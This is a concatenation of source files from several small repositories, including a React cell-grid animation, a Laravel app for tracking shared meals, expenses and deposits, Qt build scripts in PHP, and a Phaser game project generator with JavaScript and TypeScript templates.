String(this.selectColor()) + "," +
String(this.selectColor()) + "," +
String(this.selectColor()));
}
// should only be called when life > 0
lowerShade = (colorStr) => {
var temp = this.getColor(colorStr);
temp[0] -= 1; // life ticks down 1
for (let i = 1; i < temp.length; i++) {
temp[i] = Math.max(0, temp[i] - this.reduceBy);
}
temp = String(temp);
if (temp.substring(0, 1) === "0") {
temp = "0,0,0,0";
}
// kill life earlier if no color values
else if (temp.substring(1) === ",0,0,0") {
temp = "0,0,0,0";
}
return temp;
}
// =================
// COMPONENT METHODS
// =================
play = () => {
let grid_orig = this.state.grid;
let grid_new = JSON.parse(JSON.stringify(this.state.grid));
for (let i = 0; i < this.rows; i++) {
for (let j = 0; j < this.cols; j++) {
if (grid_orig[i][j].substr(0, this.activeRenders.length) === this.activeRenders) {
var not_first_col = (j > 0);
var not_last_col = (j < this.cols - 1);
if (i > 0) {
this.checkCell(grid_orig, i, j, grid_new, i - 1, j); // top
if (not_first_col) // top left
this.checkCell(grid_orig, i, j, grid_new, i - 1, j - 1);
if (not_last_col) // top right
this.checkCell(grid_orig, i, j, grid_new, i - 1, j + 1);
}
if (i < this.rows - 1) {
this.checkCell(grid_orig, i, j, grid_new, i + 1, j); // bottom
if (not_first_col)
this.checkCell(grid_orig, i, j, grid_new, i + 1, j - 1); // bottom left
if (not_last_col)
this.checkCell(grid_orig, i, j, grid_new, i + 1, j + 1); // bottom right
}
if (not_first_col)
this.checkCell(grid_orig, i, j, grid_new, i, j - 1); // left
if (not_last_col)
this.checkCell(grid_orig, i, j, grid_new, i, j + 1); // right
}
if (grid_orig[i][j].substr(0, 1) !== "0") {
grid_new[i][j] = this.lowerShade(grid_orig[i][j]);
}
}
}
this.setState({
grid: grid_new,
curFrame: this.state.curFrame + 1,
});
// automatically pick square at random
if (this.state.curFrame === this.pickFrame) {
this.setState({ curFrame: 0 });
var picked_row = null;
var picked_col = null;
for (var attempts = 0; attempts < 3; attempts++) {
picked_row = Math.floor(Math.random() * this.rows);
picked_col = Math.floor(Math.random() * this.cols);
if (this.state.grid[picked_row][picked_col].substr(0, 1) === "0") {
this.clickSquare(picked_row, picked_col);
break;
}
}
}
}
checkCell = (orig_grid, orig_row, orig_col, new_grid, new_row, new_col) => {
// compare with new grid to prevent overwrites
if (new_grid[new_row][new_col].substr(0, 1) < "4")
new_grid[new_row][new_col] = orig_grid[orig_row][orig_col];
}
componentDidMount() {
this.intervalId = setInterval(this.play, this.speed);
}
render() {
return (
<div>
<Grid
grid={this.state.grid}
rows={this.rows}
cols={this.cols}
clickSquare={this.clickSquare}
getColor={this.getColor}
/>
</div>
);
}
}
export default Main;
<file_sep>/src/Components/Square.js
import React from 'react';
import '../index.css';
class Square extends React.Component {
clickSquare = () => {
this.props.clickSquare(this.props.row, this.props.col);
}
render() {
return (
<div
className="square"
style={{backgroundColor: `rgb(${this.props.color[1]}, ${this.props.color[2]}, ${this.props.color[3]})`}}
onClick={this.clickSquare}
/>
);
}
}
export default Square; | eea040f44fa16b07e2c90540d853db1e58358c37 | [
"JavaScript"
] | 2 | JavaScript | Jon-Alc/pastel-cells | b37126bf01e80200a83a95430a45b50288b4e7a6 | 7ba177093f616d232259e3cf78153159a92a8f4c |
refs/heads/master | <file_sep><?php
namespace App\Http\Controllers;
use App\Expense;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
class MainController extends Controller
{
public function index(){
//$monthly_expense = DB::table('expenses')->select('amount')->where('created_at',date('y-m-d'))->sum('amount');
return view('main');
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Month extends Model
{
protected $table = 'months';
protected $primaryKey = 'monthID';
protected $fillable = [
'month_date','balance', 'userID',
];
public function expense()
{
return $this->hasMany('App\Expense','monthID');
}
public function deposit()
{
return $this->hasMany('App\Deposite','monthID');
}
public function meal()
{
return $this->hasMany('App\Meal','monthID');
}
}
<file_sep><?php
namespace App\Http\Controllers\Auth;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash;
class ChangePasswordController extends Controller
{
public function change_password(Request $request){
$request->validate([
'oldpassword' => 'required',
'password' => '<PASSWORD>'
]);
$hashedPass = Auth::user()->password;
if (Hash::check($request->oldpassword,$hashedPass)){
$user = User::find(Auth::user()->id);
$user->password = <PASSWORD>::make($request->password);
$user->save();
Auth::logout();
return redirect()->route('login')->with('successMsg',"Password changed Successfully");
}else{
return redirect()->back()->with('errorMsg',"Current Password is Invalid");
}
}
}
<file_sep><?php
namespace App\Http\Controllers\User;
use App\User;
use Carbon\Carbon;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Hash;
class UserController extends Controller
{
public function index(){
$table = User::orderBy('name','ASC')->get();
return view('user.user')->with(['table'=>$table]);
}
public function profile(){
return view('user.profile');
}
public function profile_info(Request $request){
$table = User::find($request->userID);
$request->validate([
'name' => 'required',
'email' => 'required',
]);
$table->name = $request->name;
$table->email = $request->email;
$table->save();
return redirect()->back();
}
public function check(){
$days = User::orderBy('created_at')
->get()
->groupBy(function ($val) {
return Carbon::parse($val->created_at)->format('d');
});
foreach ($days as $day => $users) {
echo '<h2>'.$day.'</h2><ul>';
foreach ($users as $user) {
echo '<li>'.$user->created_at.'</li>';
}
echo '</ul>';
}
}
public function create_user(Request $request){
$request->validate([
'name' => 'required',
'email' => 'required | email | unique:users',
'password' => '<PASSWORD>',
'imageName' => 'image|mimes:jpeg,png,jpg,gif,svg|max:2048',
]);
$table = new User();
$table->name = $request->name;
$table->email = $request->email;
$table->password = <PASSWORD>::<PASSWORD>($request->password);
//image upload
if ($request->hasFile('imageName')) {
$extnshon = $request->imageName->extension();
$filename = md5(date('Y-m-d H:i:s'));
$filename = $filename.'.'.$extnshon;
$table->imageName = $filename;
$request->imageName->move('public/upload/profile',$filename);
}
$table->save();
return redirect()->back()->with('success','Data Created Successfully!!');
}
public function edit_user(Request $request){
$request->validate([
'name' => 'required',
'email' => 'required | email',
'imageName' => 'image|mimes:jpeg,png,jpg,gif,svg|max:2048',
]);
$table = User::find($request->id);
$table->name = $request->name;
$table->email = $request->email;
//image upload
if ($request->hasFile('imageName')) {
// previous file delete
$file = public_path('upload/profile/'.$table->imageName);
if(file_exists($file)){
unlink($file);
}
// previous file delete
$extnshon = $request->imageName->extension();
$filename = md5(date('Y-m-d H:i:s'));
$filename = $filename.'.'.$extnshon;
$table->imageName = $filename;
$request->imageName->move('public/upload/profile',$filename);
}
$table->save();
return redirect()->back()->with('edit','Data edited Successfully!!');
}
public function del($id){
$table = User::find($id);
$table->delete();
return redirect()->back()->with('delete','Data Deleted Successfully!!');
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Expense extends Model
{
protected $table = 'expenses';
protected $primaryKey = 'expenseID';
protected $fillable = [
'name','amount','monthID', 'userID',
];
public function members(){
return $this->belongsTo('App\User','userID');
}
public function month(){
return $this->belongsTo('App\Month','monthID');
}
}
<file_sep><?php
namespace App\Http\Controllers\Month;
use App\Month;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\DB;
class MonthController extends Controller
{
public function index(){
$table = Month::orderBy('monthID','DESC')->get();
return view('months.month')->with(['table'=>$table]);
}
public function save(Request $request){
$table = new Month();
$request->validate([
'month' => 'required',
]);
$table->month_date = $request->month;
$table->save();
return redirect()->back()->with('success','Data Created Successfully!!');
}
public function edit(Request $request){
$table = Month::find($request->monthID);
$request->validate([
'month' => 'required',
]);
$table->month_date = $request->month;
$table->save();
return redirect()->back()->with('edit','Data edited Successfully!!');
}
public function del($id){
$table = Month::find($id);
$table->delete();
return redirect()->back()->with('delete','Data Deleted Successfully!!');
}
// inner dashboard
public function inner($id){
$table = Month::find($id);
session([
'monthID' => $table->monthID,
'month_date' => $table->month_date
]);
return view('inner')->with(['table' => $table]);
}
}
<file_sep><?php
namespace App\Http\Controllers\User;
use App\Expense;
use App\Meal;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
class IndividualMealController extends Controller
{
public function index(){
$table = User::orderBy('name','ASC')->get();
$expense = Expense::where('monthID', session('monthID'))->get();
$meal = Meal::where('monthID', session('monthID'))->get();
return view('individual.individual')->with(['table'=>$table,'meal' => $meal, 'expense' => $expense]);
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Meal extends Model
{
protected $table = 'meals';
protected $primaryKey = 'mealID';
protected $fillable = [
'nom','monthID', 'userID',
];
public function members(){
return $this->belongsTo('App\User','userID');
}
public function month(){
return $this->belongsTo('App\Month','monthID');
}
}
<file_sep><?php
namespace App\Http\Controllers\Deposite;
use App\Deposite;
use App\Month;
use App\User;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\DB;
class DepositeController extends Controller
{
public function index(){
$table = Deposite::orderBy('depositID','DESC')->where('monthID', session('monthID'))->get();
$users = User::orderBy('id','ASC')->get();
return view('deposite.deposite')->with(['table'=>$table,'users' => $users]);
}
public function save(Request $request){
DB::beginTransaction();
try {
$month = Month::find(session('monthID'));
$deposit = $request->amount;
$old_balance = $month->balance;
$new_balance = $old_balance + $deposit;
$month->balance = $new_balance;
$month->save();
$table = new Deposite();
$request->validate([
'userID' => 'required',
'amount' => 'required | min:0',
]);
$table->amount = $request->amount;
$table->monthID = session('monthID');
$table->userID = $request->userID;
$table->save();
DB::commit();
} catch (\Throwable $e) {
DB::rollback();
throw $e;
}
return redirect()->back()->with('success','Data Added Successfully!!');
}
public function edit(Request $request){
DB::beginTransaction();
try {
$month = Month::find(session('monthID'));
$old = $request->old_amount;
$updated_bal = $request->amount;
$balance_up = $month->balance - $old;
$new_balance = $balance_up + $updated_bal;
$month->balance = $new_balance;
$month->save();
$table = Deposite::find($request->id);
$request->validate([
'userID' => 'required',
'amount' => 'required | min:0',
]);
$table->amount = $request->amount;
$table->userID = $request->userID;
$table->save();
DB::commit();
} catch (\Throwable $e) {
DB::rollback();
throw $e;
}
return redirect()->back()->with('edit','Data edited Successfully!!');
}
public function del($id){
$table = Deposite::find($id);
DB::beginTransaction();
try {
$month = Month::find(session('monthID'));
$old = $month->balance;
$deposit_ammount = $table->amount;
$new_balance = $old - $deposit_ammount;
$month->balance = $new_balance;
$month->save();
$table->delete();
DB::commit();
} catch (\Throwable $e) {
DB::rollback();
throw $e;
}
return redirect()->back()->with('delete','Data Deleted Successfully!!');
}
}
<file_sep><?php
namespace App\Http\Controllers\Meal;
use App\Meal;
use App\User;
use Carbon\Carbon;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
class MealController extends Controller
{
public function index(){
$table = Meal::orderBy('created_at','DESC')->where('monthID', session('monthID'))
->get()
->groupBy(function ($val) {
return Carbon::parse($val->created_at)->format('d/m/y');
});
$users = User::orderBy('id','ASC')->get();
$ckdate = Meal::select('created_at')->where('monthID', session('monthID'))->whereDate('created_at',date('Y-m-d'))->first();
return view('inner.meal')->with(['table'=>$table,'ckdate'=>$ckdate,'users' => $users]);
}
public function save(Request $request){
$meals = $request->userID;
$nom = $request->meal;
foreach ($meals as $meal => $val){
$table = new Meal();
$table->userID = $val;
$table->monthID = session('monthID');
$table->nom = $nom[$val];
$table->save();
}
return redirect()->back()->with('success','Data Added Successfully!!');
}
public function edit(Request $request){
$table = Meal::find($request->id);
$request->validate([
'meal' => 'required | min:0',
]);
$table->nom = $request->meal;
$table->save();
return redirect()->back()->with('edit','Data Edited Successfully!!');
}
}
<file_sep><?php
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::group(['middleware' => ['auth']], function(){
Route::get('/','MainController@index');
//============ User ==============
Route::get('bill','User\IndividualMealController@index');
Route::get('user','User\UserController@index');
Route::post('user/create','User\UserController@create_user');
Route::post('user/edit','User\UserController@edit_user');
Route::get('user/del/{id}','User\UserController@del');
Route::get('user/profile','User\UserController@profile');
Route::post('user/profile/update','User\UserController@profile_info');
Route::get('user/check','User\UserController@check');
Route::post('user/password/update','Auth\ChangePasswordController@change_password');
//============ /User =============
//============ Month =============
Route::get('month','Month\MonthController@index');
Route::post('month/save','Month\MonthController@save');
Route::post('month/edit','Month\MonthController@edit');
Route::get('month/del/{id}','Month\MonthController@del');
Route::get('month/inner/{id}','Month\MonthController@inner');
//============ /Month =============
//============ Expense =============
Route::get('expense','Expense\ExpenseController@index');
Route::post('expense/save','Expense\ExpenseController@save');
Route::post('expense/edit','Expense\ExpenseController@edit');
Route::get('expense/del/{id}','Expense\ExpenseController@del');
//============ /Expense ============
//============ Meal =============
Route::get('meal','Meal\MealController@index');
Route::post('meal/save','Meal\MealController@save');
Route::post('meal/edit','Meal\MealController@edit');
//============ /Meal ============
//============ Deposits =============
Route::get('deposit','Deposite\DepositeController@index');
Route::post('deposit/save','Deposite\DepositeController@save');
Route::post('deposit/edit','Deposite\DepositeController@edit');
Route::get('deposit/del/{id}','Deposite\DepositeController@del');
//============ /Deposits ============
});
Auth::routes();
Route::get('/home', 'HomeController@index')->name('home');
| 74031766b3d4bcd4361fba9a46153125749fce43 | [
"PHP"
] | 11 | PHP | sukanta7660/bachelor-point | a09c4034920a170b427aa9c889671c296ffe0549 | 50d43d5d02473543bc9bb86f1c2bea3e9abb5609 |
refs/heads/master | <repo_name>morloclib/linear-algebra<file_sep>/linear_algebra.py
import numpy as np
def pool(m, f, I, J):
rows = list()
for i in range(0, m.shape[0] - I + 1, I):
cols = list()
for j in range(0, m.shape[1] - J + 1, J):
cols.append(f(m[i:(i+I),j:(j+J)]))
rows.append(cols)
return(np.matrix(rows))
def matrix_round(m):
return(np.matrix([[round(x) for x in xs] for xs in m.tolist()]))
def matrix_random(width, height):
return(np.random.rand(width, height))
def tolist(m):
return(m.tolist())
def diagonal(m):
return(m.diagonal())
matrix_add = np.add
matrix_sub = np.subtract
matrix_sum = np.sum
matrix_max = np.max
matrix_min = np.min
scalar_multiply = np.multiply
matrix_multiply = np.matmul
matrix = np.matrix
<file_sep>/README.md
# `linear_algebra`
<file_sep>/linear_algebra.R
library(ape)
random_distance_matrix <- function(n){
cophenetic(rtree(n))
}
| 6a82d2d00ff17c976536a5faa1aaf501a9254d69 | [
"Markdown",
"Python",
"R"
] | 3 | Python | morloclib/linear-algebra | d37bc5294f16558921dbcb4943a2cf7c39060641 | faea20582313be8eea7738482a453e7b9a49348f |
refs/heads/master | <repo_name>tsukuga/react-practice<file_sep>/Jugement/core.js
export default class core {
jugement() {
// 卒業要件をループさせる
for (let i = 0; i < Youken.length - 2; i++) {
presentYouken = Youken[i];
// 必修科目でなければ、次のグループへ
if (isHissyuukamoku(presentYouken.category1_min)) return;
// 成績データをループさせる
score_loop: for (let j = 0; j < score.length; j++) {
// グループの合計単位数が卒業要件の取得単位数の下限を満たしたか判定
let isFull = presentYouken.category1_min <= presentYouken.category1_sum;
if (isFull) break;
// 要件の除外項目に該当するかの判定
if (isRemove(presentYouken.remove, score[j])) {
continue score_loop;
}
// ==================未実装====================
// // 要件の制限要素に該当するかの判定
// if(isRestriction(Youken[i].restriction,score[j])){
// continue score_loop;
// }
// ==================未実装====================
}
}
}
// 必修科目か判定
isHissyuukamoku(min) {
if (min > 0) return;
}
// 正規表現作成
makeReg(word) {
word = new RegExp('(^)' + word);
bool = elements[k].test(score[j][jugelement]);
}
// 除外判定メソッド
isRemove(remove, score) {
// 除外要素が要件にない場合即リターン
if (remove == "-") return false;
// 除外要素があった場合はturuを返す
for (let k = 0; k < remove.length; k++) {
remove_exp = new RegExp('(^)' + remove[k]);
let isRemovement = remove_exp.test(score.number) || remove_exp[k].test(score.name)
if (isRemovement) return ture;
}
}
Match(score,number,name) {
// 科目番号のマッチング
for (let k = 0; k < number.length; k++){
number_exp = new RegExp('(^)' + number[k]);
number_exp.test(score.number);
}
// 科目名のマッチング
for (let k = 0; k < name.length; k++){
name_exp = new RegExp('(^)' + name[k]);
name_exp.test(score.name);
}
if (e) {
Youken[i].group_sum = ++parseFloat(score[j].credit);
category[M_category[i].No].category_sum = ++parseFloat(score[j].credit);
result[count] = [page[i].class1, page[i].class2, page[i].class3, page[i].about,
score[j].number, score[j].name, score[j].credit];
}
}
isMatch(element,score){
for (let k = 0; k < element.length; k++){
element_exp = new RegExp('(^)' + element[k]);
let isMatch = element_exp.test(score[element]);
if(isMatch){
presentYouken.group_sum = ++parseFloat(score.credit);
category[M_category[i].No].category_sum = ++parseFloat(score.credit);
result[count] = [page[i].class1, page[i].class2, page[i].class3, page[i].about,
score[j].number, score[j].name, score[j].credit];
}
}
}
} | a919c874c4e820d79a7963e519a3e0ef286356ea | [
"JavaScript"
] | 1 | JavaScript | tsukuga/react-practice | 88349b034a322dab9262098a7a53e0577a73d0c1 | eda2a1adc74096387f9e0c5a606647dba915d1a1 |
refs/heads/master | <repo_name>edwrodrig/simple_app_qt<file_sep>/files/deploy-win.sh
emake clean
emake
rm -rf deploy
mkdir deploy
cp build/tundra-piechart*.exe "deploy/"
cd deploy
QTPATH="/c/Qt/5.4/mingw491_32"
TARGETDIR="."
SOURCEDIR="."
function r {
cp -f "$QTPATH"/"$SOURCEDIR"/"$1" "$TARGETDIR"
}
function rdir {
rm -rf "$TARGETDIR"
mkdir "$TARGETDIR"
}
SOURCEDIR="bin"
TARGETDIR="."
r "icudt53.dll"
r "icuin53.dll"
r "icuuc53.dll"
r "libquazip.dll"
r "libz.dll"
r "libgcc_s_dw2-1.dll"
r "libstdc++-6.dll"
r "libwinpthread-1.dll"
r "Qt5Core.dll"
r "Qt5Gui.dll"
r "Qt5Network.dll"
r "Qt5Qml.dll"
r "Qt5Quick.dll"
r "Qt5Sql.dll"
r "Qt5Svg.dll"
r "Qt5Widgets.dll"
SOURCEDIR="plugins/imageformats"
TARGETDIR="imageformats"
rdir
r "qjpeg.dll"
r "qsvg.dll"
SOURCEDIR="plugins/platforms"
TARGETDIR="platforms"
rdir
r "qwindows.dll"
SOURCEDIR="plugins/bearer"
TARGETDIR="bearer"
rdir
r "qgenericbearer.dll"
r "qnativewifibearer.dll"
SOURCEDIR="plugins/iconengines"
TARGETDIR="iconengines"
rdir
r "qsvgicon.dll"
SOURCEDIR="plugins/sqldrivers"
TARGETDIR="sqldrivers"
rdir
r "qsqlite.dll"
<file_sep>/lib/mainwindow.cpp
#include <mainwindow.h>
MainWindow::MainWindow ( QWidget * parent ) :
QMainWindow{parent}
{
setWindowTitle("Simple test app");
}
MainWindow::~MainWindow() {}
<file_sep>/files/scripts/02.deploy.php
<?php
declare(strict_types=1);
require_once __DIR__ . '/../vendor/autoload.php';
use edwrodrig\qt_app_builder\variable\VariableNotFoundException;
use edwrodrig\qt_app_builder\variable\Variables;
try {
Variables::BuildDirectory()->set(__DIR__);
Variables::BuildDirectory()->find();
Variables::CompilationDirectory()->find();
Variables::OperativeSystem()->find();
Variables::QtDirectory()->find();
Variables::DeployDirectory()->set();
Variables::BinaryFilename()->set("simple_test");
Variables::DeployDirectory()->find();
Variables::BinaryCompilationFilepath()->copyToDeployDirectory();
Variables::BinaryDeployFilepath()->changeModeToExecutable();
Variables::QtDeploy()->call();
} catch ( VariableNotFoundException $exception ) {
fprintf(STDERR, "%s [%s]", $exception->getMessage(), $exception->getRecoverMessage());
}
<file_sep>/files/README.md
Variables namespace are for applications and values that are finded or executed.
Examples:
qmake
home dir
executable names
Process
Their are for thinkgs that you going to execute. It can be variables but are more complex than a variable<file_sep>/files/src/variable/QtDirectory.php
<?php
declare(strict_types=1);
namespace edwrodrig\qt_app_builder\variable;
/**
* Class OperativeSystem
* Variable that hold the Qt installation directory
* @package edwrodrig\qt_app_builder\variable
*/
class QtDirectory extends Variable
{
public function getVariableName(): string
{
return "Qt directory";
}
public function find() : bool {
$os = Variables::OperativeSystem()->get();
if ( $os === 'linux' ) {
$homeDirectory = Variables::HomeDirectory()->get();
$this->value = $homeDirectory . "/Qt/5.13.0";
$this->printFound();
return true;
} else if ( $os === "windows nt" ) {
$this->value = "c:/Qt/5.12.6";
$this->printFound();
return true;
} else {
$this->throwNotFound("You must install Qt in a available way");
return false;
}
}
}
<file_sep>/files/scripts/01.compile.php
<?php
declare(strict_types=1);
require_once __DIR__ . '/../vendor/autoload.php';
use edwrodrig\qt_app_builder\variable\VariableNotFoundException;
use edwrodrig\qt_app_builder\variable\Variables;
try {
Variables::BuildDirectory()->set(__DIR__);
Variables::BuildDirectory()->find();
Variables::CompilationDirectory()->set();
Variables::OperativeSystem()->find();
Variables::QtDirectory()->find();
Variables::QMake()->find();
Variables::Make()->find();
Variables::Qmake()->call(__DIR__ . "/../../simple_test.pro");
Variables::Make()->call();
} catch ( VariableNotFoundException $exception ) {
fprintf(STDERR, "%s [%s]", $exception->getMessage(), $exception->getRecoverMessage());
}
<file_sep>/files/src/Common.php
<?php
namespace edwrodrig\qt_app_builder;
class Common
{
private static $releaseData = null;
private static $operativeSystem = null;
private static $qtDirectory = null;
public static function releaseData()
{
if (is_null(self::$releaseData)) {
printf("Reading release data...\n");
self::$releaseData = json_decode(file_get_contents(__DIR__ . DIRECTORY_SEPARATOR), true);
}
return self::$releaseData;
}
public static function operativeSystem()
{
if (is_null(self::$operativeSystem)) {
self::$operativeSystem = strtolower(php_uname('s'));
}
return self::$operativeSystem;
}
public static function appVersionName()
{
return
self::executableName()
. '-'
. str_replace('.', '_', self::releaseData()['version'])
. '-'
. self::operativeSystem();
}
/**
*
* @return string
*/
public static function compilationDirName()
{
return __DIR__ . DIRECTORY_SEPARATOR;
}
public static function buildDirName()
{
return
__DIR__ . DIRECTORY_SEPARATOR . self::appVersionName();
}
public static function qtDir()
{
if (self::operativeSystem() === 'linux') {
return
"/home/edwin/Qt/5.13.0/gcc_64";
} else {
fprintf(STDERR, "No qt dir for this operative system [%s]", self::operativeSystem());
exit(1);
}
}
public static function findOperativeSystem() : bool {
self::$operativeSystem = strtolower(php_uname('s'));
fprintf(STDOUT,"Operative system [%s]\n", self::$operativeSystem);
return true;
}
public static function getOperativeSystem() : string {
if ( is_null(self::$operativeSystem) ) {
self::findOperativeSystem();
}
return self::$operativeSystem;
}
public static function findQtDirectory() : bool {
if ( self::getOperativeSystem() === 'linux' ) {
self::$qtDirectory = "/home/edwin/Qt/5.13.0/gcc_64";
fprintf(STDOUT,"Qt directory [%s]\n", self::$qtDirectory);
return true;
} else {
fprintf(STDERR, "Qt directory not found!\n");
return false;
}
}
public static function getQtDirectory() : string {
if ( is_null(self::$qtDirectory) ) {
self::findQtDirectory();
}
return self::$qtDirectory;
}
public static function executableName()
{
return self::$releaseData['executable_name'];
}
public static function executableDir()
{
return self::$releaseData['executable_dir'];
}
public static function binaryFilename()
{
if (self::operativeSystem() === 'win32') {
return self::executableName() . ".exe";
} else {
return self::executableName();
}
}
/**`
* @return string
*/
public static function linuxRunScriptFilename() : string
{
return "run_" . self::executableName() . ".sh";
}
public static function findQmake() : string {
$qmake_bin = $qt_dir . "/bin/qmake";
if ( !file_exists($qmake_bin) ) {
fprintf(STDERR, "QMake does not exists at [%s]\n", $qmake_bin);
exit(1);
}
}
}
| 3a487ae35f6dcc39efca8b50a552a1c9eee76b2b | [
"Markdown",
"C++",
"PHP",
"Shell"
] | 7 | Shell | edwrodrig/simple_app_qt | 0ac43e1c0741e01d899027c28ae8ecc5830c0c3a | e8fb35f013f948d6481cf805a86e5c7475e9d30c |
refs/heads/main | <repo_name>NALZA/fmentorInteractivePricingComponent<file_sep>/client/src/App.js
import './App.css';
import PricingComponent from './components/PricingComponent';
function App() {
return (
<div className='App'>
<div className='intro'>
<p className='large-text'>Simple, traffic-based pricing</p>
<p className='small-text'>
Sign-up for our 30-day trial. No credit card required.{' '}
</p>
</div>
<PricingComponent />
</div>
);
}
export default App;
| cff7b11fa85c34025a36eed4fbe2b16d76615a24 | [
"JavaScript"
] | 1 | JavaScript | NALZA/fmentorInteractivePricingComponent | 9794a337e13e70958ef2780dde03e6b16e0d3df4 | 1ffcc674aee36a30e28412d7d7379fe9402fda02 |
refs/heads/master | <repo_name>zhouhao27/create-phaser<file_sep>/templates/typescript/src/scenes/main.ts
export default class MainScene extends Phaser.Scene {
constructor() {
super({
key: "MainScene"
});
}
preload(): void {
}
create(): void {
}
}
<file_sep>/templates/typescript/src/scenes/boot.ts
export default class BootScene extends Phaser.Scene {
private phaserSprite: Phaser.GameObjects.Sprite;
constructor() {
super({
key: "BootScene"
});
}
preload(): void {
this.load.image("logo", "./src/assets/images/logo.png");
}
create(): void {
this.phaserSprite = this.add.sprite(400, 300, "logo");
}
update(): void {
const id = setInterval( ()=> {
this.scene.start('MainScene')
clearInterval(id)
}, 1000)
}
}
<file_sep>/README.md
# A command line tool to create Phaser project
## Installation
```
npm i -g @zhouhao27@create-phaser
```
## Usage
```
create-parse <project-name> [options]
options:
-y, --yes to skip prompts
-t, --template template name, currently only TypeScript or JavaScript supported
-h, --help Help
-v, --version Show version
```
## Reference
[How to build a CLI with Node.js](https://www.twilio.com/blog/how-to-build-a-cli-with-node-js)
[How to make a beautiful, tiny npm package and publish it](https://medium.freecodecamp.org/how-to-make-a-beautiful-tiny-npm-package-and-publish-it-2881d4307f78)<file_sep>/templates/javascript/src/index.js
import Phaser from 'phaser'
import { Boot, Game } from './scenes'
const config = {
type: Phaser.AUTO,
scale: {
mode: Phaser.Scale.FIT,
autoCenter: Phaser.Scale.CENTER_BOTH,
width: 800,
height: 600,
},
scene: [
Boot,
Game
]
}
const game = new Phaser.Game(config) // eslint-disable-line no-unused-vars
<file_sep>/templates/javascript/README.md
# Steps to create this boilerplate
## Create project
`yarn init -y`
## Add Webpack and related package
`yarn add -D webpack webpack-cli webpack-dev-server`
## Add babel
`yarn add -D @babel/core @babel/preset-env babel-loader`
## Add Webpack plugin
`yarn add -D html-webpack-plugin`
## Add .babelrc
```
{
"presets": ["@babel/preset-env"]
}
```
## Create a template index.html in template folder
```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Phaser</title>
</head>
<body>
</body>
</html>
```
## Create config for Webpack `webpack.config.js`
## Package.json, add:
```
"scripts": {
"dev": "webpack-dev-server --progress --mode development",
"build": "webpack --progress --mode production"
},
```
## Add phaser
`yarn add phaser`
## Add source code
`mkdir src`
`touch src/index.js`
**src folder**
.
├── index.js
├── scenes
│ ├── Boot.js
│ ├── Game.js
│ └── index.js
# How to use
```
git clone https://github.com/zhouhao27/phaser3-es6-webpack4-demo.git <YourProjectName>
cd <YourProjectName>
yarn
```
# Debug in VS Code
Click **Phaser Debug** in VS Code Debug tab. Make sure you run the app first by:
`yarn dev`
# Reference
https://medium.com/beginners-guide-to-mobile-web-development/introduction-to-webpack-4-e528a6b3fc16
https://github.com/rafaeldelboni/phaser3-es6-webpack4
http://codetuto.com/2018/02/getting-started-phaser-3-es6-create-boomdots-game/
<file_sep>/templates/typescript/src/game.ts
import "phaser";
import { BootScene, MainScene } from "./scenes";
const config: GameConfig = {
type: Phaser.AUTO,
scale: {
mode: Phaser.Scale.FIT,
autoCenter: Phaser.Scale.CENTER_BOTH,
width: 800,
height: 600,
},
scene: [BootScene,MainScene],
physics: {
default: "arcade",
arcade: {
gravity: { y: 200 }
}
}
};
// game class
export class Game extends Phaser.Game {
constructor(config: GameConfig) {
super(config);
}
}
// when the page is loaded, create our game instance
window.addEventListener("load", () => {
var game = new Game(config);
});
<file_sep>/src/cli.js
import arg from 'arg';
import inquirer from 'inquirer';
import {
createProject
} from './main';
import chalk from 'chalk';
function parseArgumentsIntoOptions(rawArgs) {
const args = arg({
'--yes': Boolean,
'--template': String,
'--version': Boolean,
'--help': Boolean,
'-y': '--yes',
'-h': '--help',
'-v': '--version',
'-t': '--template'
}, {
argv: rawArgs.slice(2),
});
return {
showVersion: args['--version'] || false,
skipPrompts: args['--yes'] || false,
name: args._[0],
template: args['--template']
};
}
async function promptForMissingOptions(options) {
if (options.showVersion) {
const pjson = require('../package.json');
console.log(pjson.version);
process.exit(0)
}
if (!options.name) {
console.error(`${chalk.red('You must specify a project name:')}`)
showHelp()
process.exit(1)
}
const defaultTemplate = 'TypeScript';
if (options.skipPrompts) {
return {
...options,
template: options.template || defaultTemplate,
};
}
const questions = [];
if (!options.template) {
questions.push({
type: 'list',
name: 'template',
message: 'Please choose which project template to use',
choices: ['JavaScript', 'TypeScript'],
default: defaultTemplate,
});
}
const answers = await inquirer.prompt(questions);
return {
...options,
template: options.template || answers.template
};
}
function showHelp() {
console.log(` create-parse ${chalk.green('<project-name>')} [options]`)
console.log()
console.error('For example:')
console.log(` create-phaser ${chalk.green('my-project')}`)
console.log(` options:`)
console.log(` -y, --yes to skip prompts`)
console.log(` -t, --template template name, currently only TypeScript or JavaScript supported`)
console.log(` -h, --help Help`)
console.log(` -v, --version Show version`)
console.log()
}
export async function cli(args) {
let options = parseArgumentsIntoOptions(args);
options = await promptForMissingOptions(options);
// console.log(options);
await createProject(options)
}<file_sep>/templates/typescript/src/scenes/index.ts
export { default as BootScene } from './boot'
export { default as MainScene } from './main'<file_sep>/templates/typescript/README.md
# A simple boilerplate with Phaser 3, TypeScript and Webpack 4
## Steps to create the boilerplate
1. Webpack
```
yarn add -D webpack webpack-cli webpack-dev-serve html-webpack-plugin
```
2. TypeScript
```
yarn add -D typescript ts-loader expose-loader
```
3. Phaser
```
yarn add phaser
```
4. Create tsconfig.json
```
{
"compilerOptions": {
"target": "ES2016",
"module": "CommonJS",
"sourceMap": true,
"noImplicitAny": false,
"strict": false
}
}
```
